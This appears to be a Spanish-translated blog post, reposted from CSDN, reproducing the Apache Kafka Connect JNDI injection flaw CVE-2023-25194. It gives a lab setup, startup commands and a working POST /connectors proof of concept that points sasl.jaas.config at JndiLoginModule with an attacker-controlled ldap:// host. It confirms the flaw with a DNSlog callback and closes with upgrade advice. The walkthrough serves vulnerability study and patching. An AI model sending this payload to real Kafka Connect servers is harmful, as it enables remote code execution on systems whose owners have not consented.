Reaparición de la vulnerabilidad de inyección Apache Kafka Connect JNDI (CVE-2023-25194)

1. Introducción del producto

     Kafka Connect es una herramienta para la transmisión de datos escalable y confiable entre Apache Kafka y otros sistemas. Simplifica la definición rápida de conectores que mueven grandes cantidades de datos dentro y fuera de Kafka. Kafka Connect puede ingerir bases de datos completas o recopilar métricas de todos los servidores de aplicaciones en temas de Kafka, lo que hace que los datos estén disponibles para el procesamiento de flujo de baja latencia.

2. Visión general de la vulnerabilidad

     Existe una vulnerabilidad de inyección JNDI en Apache Kafka Connect. Cuando el atacante puede acceder a Kafka Connect Worker y puede crear o modificar el conector, configurando la propiedad sasl.jaas.config en com.sun.security.auth.module.JndiLoginModule, y luego puede conducir a la inyección de JNDI, lo que hace que RCE requiera una versión inferior de JDK o una cadena de explotación en el sistema Kafka Connect de destino.

3. Ámbito de influencia

    Versión afectada 

   2.3.0 <= Apache Kafka <= 3.3.2

   versión no afectada

   Apache Kafka >= 3.4.0

4. Reproducir el entorno

  Windows10 crea el entorno integrado Kafka2.4.0 (cree el entorno jdk y mysql usted mismo)

Estoy usando jdk-11.0.18_windows-x64_bin.exe (JDK8 también está disponible, se recomienda JDK11)

  mysql 5.7.27

Dirección de descarga del entorno integrado de Kafka 2.4.0: https://download.csdn.net/download/qq_41904294/87588240

5. Recurrencia de la vulnerabilidad

entorno de inicio

bin\windows\zookeeper-server-start.bat config\zookeeper.properties

bin\windows\kafka-server-start.bat config\server.properties

bin\windows\connect-standalone.bat config/connect-standalone.properties config/connect-file-source.properties config/connect-file-sink.properties

Si se informa un error: "La línea de entrada es demasiado larga. La sintaxis del comando es incorrecta". El motivo de este problema es que la longitud del comando de Windows admite hasta 8192 caracteres. En el script de inicio de Kafka, hay comandos para concatenar variables de rutas de clase. El contenido de la ruta de clases es una cadena concatenada de rutas absolutas de cada paquete jar. Cuando la ubicación de Kafka es relativamente profunda, es decir, cuando el directorio es relativamente largo, la longitud del classpath será demasiado larga.
Solución: acorte la estructura del árbol de directorios y coloque el directorio de instalación de Kafka directamente debajo del directorio raíz.

3a2533464208416981efc69f1ce3e71d.png

 Visite el entorno de vulnerabilidad para ver si se inicia

6b7913976a8a4e4c864244a2fe17a508.png

 Burp captura paquetes para ver si hay dependencias relacionadas

http://x.x.x.x:8083/connector-plugins

74622c01f7344a77a3334f9b1b6cad8d.png

 POC circulando actualmente en Internet

POST /connectors HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
Content-Length: 821

{
	"name": "xxx",
	"config": {
		"connector.class": "io.debezium.connector.mysql.MySqlConnector",
		"database.hostname": "127.0.0.1",
		"database.port": "3306",
		"database.user": "root",
		"database.password": "xxxx",
		"database.server.id": "xxxx",
		"database.server.name": "xxxx",
		"database.history.kafka.bootstrap.servers": "127.0.0.1:9092",
		"database.history.kafka.topic": "xxxx",   	"database.history.producer.security.protocol": "SASL_SSL",
    	"database.history.producer.sasl.mechanism": "PLAIN",
    	"database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://xxxx\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
	}
}

Principio de POC: al crear el conector mysql, establezca la propiedad sasl.jaas.config en com.sun.security.auth.module.JndiLoginModule, lo que puede conducir a la inyección de JNDI

 

Use Dnslog echo para verificar si existe la vulnerabilidad

2d314f2d1dca424984618b3d88fe8b06.png

 

9b50f5e18fac418f9911a420f0e6f74a.png

27308fa28c4f4a538555e4d47d8f5140.png

7e01427ca64f4aadaccdfe35cf8510aa.png

 Se informó un error, verifique el mensaje de error del entorno de vulnerabilidad, que indica que el error de la zona horaria del servidor no se puede reconocer, encontré un método en Internet y encontré algunas configuraciones para modificar la zona horaria de la base de datos, configure time_zone = '+8 :00'; este método, pero no funcionó después de intentarlo, y luego lea el artículo nuevamente, cómo especificar la zona horaria de la base de datos al crear un conector

Agregue la configuración "database.serverTimezone" para resolverlo (no entiendo por qué se especifica aquí la zona horaria de EE. UU., y el hermano mayor que sabe puede darme algunos consejos)

"config": {
    ...
    "database.serverTimezone": "America/Los_Angeles",
    ...
}

 revalidar

0450a46d44cb43708c2f28d0a06a321a.png

3ae3a0ce70c74569b244ad08586fe464.png

 El eco es exitoso y la vulnerabilidad existe

 

6. Sugerencia de reparación

Actualmente existe una versión oficial actualizable, se recomienda a los usuarios afectados actualizar a: Apache Kafka 3.4.0 y superior.

Los usuarios que no pueden actualizar temporalmente pueden mitigar esta vulnerabilidad al validar la configuración del conector de Kafka Connect para permitir solo configuraciones JNDI confiables.

 

 

 

Supongo que te gusta

Origin blog.csdn.net/qq_41904294/article/details/129634971
Recomendado
Clasificación